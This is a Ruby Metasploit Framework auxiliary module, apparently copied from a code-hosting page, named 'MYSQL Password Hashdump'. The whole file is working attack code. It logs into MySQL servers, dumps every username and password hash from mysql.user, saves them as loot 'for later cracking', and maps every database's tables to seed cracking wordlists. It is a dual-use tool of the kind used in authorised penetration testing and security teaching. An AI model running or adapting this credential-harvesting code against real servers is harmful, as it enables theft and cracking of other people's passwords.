132 lines
3.1 KiB
Ruby
132 lines
3.1 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::MYSQL
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include Msf::Auxiliary::Report
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include Msf::Auxiliary::Scanner
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def initialize
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super(
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'Name' => 'MYSQL Password Hashdump',
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'Version' => '$Revision$',
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'Description' => %Q{
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This module extracts the usernames and encrypted password
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hashes from a MySQL server and stores them for later cracking.
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},
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'Author' => ['TheLightCosine <thelightcosine[at]gmail.com>'],
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'License' => MSF_LICENSE
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)
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end
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def run_host(ip)
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if (not mysql_login_datastore)
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print_error("Invalid MySQL Server credentials")
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return
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end
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#Grabs the username and password hashes and stores them as loot
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res = mysql_query("SELECT user,password from mysql.user")
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if res.nil?
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print_error("There was an error reading the MySQL User Table")
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return
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end
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this_service = report_service(
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:host => datastore['RHOST'],
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:port => datastore['RPORT'],
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:name => 'mysql',
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:proto => 'tcp'
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)
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#create a table to store data
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tbl = Rex::Ui::Text::Table.new(
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'Header' => 'MysQL Server Hashes',
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'Indent' => 1,
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'Columns' => ['Username', 'Hash']
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)
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if res.size > 0
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res.each do |row|
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tbl << [row[0], row[1]]
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print_good("Saving HashString as Loot: #{row[0]}:#{row[1]}")
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end
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end
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report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty?
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#Recursively grab the schema for the entire DB server
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mysql_schema={}
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res = mysql_query("show databases")
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if res.size > 0
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res.each do |row|
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next if row[0].nil?
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next if row[0].empty?
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next if row[0]== "information_schema"
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next if row[0]== "mysql"
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next if row[0]== "performance_schema"
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next if row[0]== "test"
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mysql_schema[row[0]]= get_tbl_names(row[0])
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end
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end
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report_other_data(mysql_schema)
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end
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#Stores the Hash Table as Loot for Later Cracking
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def report_hashes(hash_loot,service)
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filename= "#{datastore['RHOST']}-#{datastore['RPORT']}_mysqlhashes.txt"
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path = store_loot("mysql.hashes", "text/plain", datastore['RHOST'], hash_loot, filename, "MySQL Hashes",service)
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print_status("Hash Table has been saved: #{path}")
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end
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#Gets all of the Tables names inside the given Database
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def get_tbl_names(dbname)
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tables=[]
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res = mysql_query("SHOW tables from #{dbname}")
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if res.size > 0
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res.each do |row|
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next if row[0].nil?
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next if row[0].empty?
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tables<<row[0]
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end
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end
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return tables
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end
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#Saves the Database Schema as Notes for later use.
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#Will be used for seeding wordlists when cracking
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def report_other_data(mysql_schema)
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unless mysql_schema.nil?
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report_note(
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:host => rhost,
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:type => "mysql.schema",
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:data => mysql_schema,
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:port => rport,
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:proto => 'tcp',
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:update => :unique_data
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)
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end
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end
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end
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